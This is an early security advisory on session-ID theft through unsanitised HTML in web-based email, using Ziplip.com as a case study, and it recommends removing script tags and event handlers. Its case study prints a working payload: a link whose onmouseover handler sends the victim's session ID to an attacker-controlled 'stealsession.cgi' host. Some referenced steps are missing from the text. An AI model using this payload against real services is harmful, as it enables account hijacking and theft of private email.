Web-Based Email Vulnerability
Origin of this Document
The vulnerability discussed in this document was discovered during the prototyping stage of the next generation HushMail product from Hush Communications. Research into possible security attacks on web-based email systems employing HTML rendering, revealed this vulnerability; in particular, our assessment of competing products, specifically Ziplip.com, revealed the existence of this significant threat to personal privacy.
This document is intended for developers working on web-based system which may enable users to view content generated by arbitrary individuals, via such mechanisms as email or bulletin-board style posting services. Developers should use this document to evaluate their solutions in order to ascertain whether their proposed solution is at risk from this attack methodology.
Relation to Other Systems
Although this document specifically discussed web-based email systems, the attack technique described here is potentially applicable to any web-based service which allow users to view content created by other arbitrary users.
This attack is effective on web-based email clients that directly display the contents of email messages without altering the message text. The email client must also hold onto the user’s session ID information in either a client-side cookie, or in the URL of hyperlinks used to activate functionality. This session ID alone must be the only element that is used to prove the client’s state of authentication.
Most web-based email clients require a login/authentication process; in most cases, HTTP authentication alone is not suitable for most applications, as the HTTP protocol does not support the ability to ‘log out’ or ‘de-authenticate’ the user. To provide ‘log out’ capabilities, web-based email clients usually implement their own authentication mechanism, embedding session information into the user’s web browser either directly (using cookies), or indirectly (by URL-encoding the session ID into links within the web page) as shown in Figure 1. This session ID is usually mirrored by a session store on the server side, which keeps track of the users currently authenticated with the system, and any other required session state information. Essentially, the existence of a session store object for a given session ID is verification that the user associated with that session is authenticated with the server.
If a third party gains access to the session ID before the user has logged out of the web site, that party can use the session ID to gain access to the user’s information and request services as the user. Possible scenarios allowing a third party to gain access to this session ID: the user temporarily leaves their computer alone, or forgets to log out while on using shared computer.
- The web server script receives the session ID, and replies with bogus content, or redirects the client’s web browser to a site corresponding to the original bogus hyperlink.
Now the third party’s web server has the session ID for the user, which it can use to harvest all information from the user’s account. However, the server can only harvest the user’s account while the session ID remains valid; therefore, it is in the interest of the attacker to provide some believable error or content in Step 4 above.
Web-based email clients need to ensure that the HTML <SCRIPT> element is eliminated from any text displayed directly in the web browser window; likely places to place this element include the mail headers (To, From, Subject) that are usually displayed directly, or the message body itself. In addition, the message’s content needs to be parsed to eliminate any event handlers that may be defined within HTML elements; for example, the onClick, onMouseOut, onMouseOver event handlers in the HREF element must be eliminated.
Case Study: Ziplip.com
Ziplip.com prevents against <SCRIPT> tags in the body of the message, parsing them out at the server before displaying them within the web browser window. In addition, any HTML elements appearing in headers, such as the Subject, are forced to display inside the header’s link by changing the ‘< ' and '>‘ characters to the HTML escape sequences ‘<’ and ‘>’ respectively.
However, Ziplip fails to parse out event handler attributes in HTML tags, specifically in the hyperlink tag. Using the attack described above, an attacker can send the following message to a victim’s Ziplip.com email account:
You have to see this, it’s cool:
<a onmouseover="window.open('http://someserver.com/cgi-bin/stealsession.cgi' + window.top.frames['content'].location.search.substring(0, 47))" href="www.wired.com" target="_blank">www.wired.com</a>
When the victim’s mouse moves over the link, the onMouseOver event handler is triggered, the session ID is extracted from one of the links on the page, and a new browser window is opened. The new window sends the session ID to a script on the someserver.com server, which can harvest the user’s email and address book, or perform any other activity provided by the Ziplip.com system. The attacker’s script will return an HTTP redirect to www.wired.com, in order to avoid arousing the user’s suspicion.
Attacks on Similar Systems
- The service that uses a session ID based authentication mechanism, and that session ID alone is the only credential used to verify the user’s authenticating state, once the user has logged into the service.
- The service allows a potential attacker to submit arbitrary content that will be presented to the user, usually presented as part of the service’s content itself.
- The presentation layer provides a script language capable of launching network connections to arbitrary servers either when the content is loaded, or on user input.
The simplicity of this attack methodology highlights its hazardous nature; given the recent rash of macro-based email viruses, we can expect to see this attack used quite effectively to breach personal privacy. The only solution is to remove the active scripting elements through vigilant design of code responsible for presenting user-submitted content.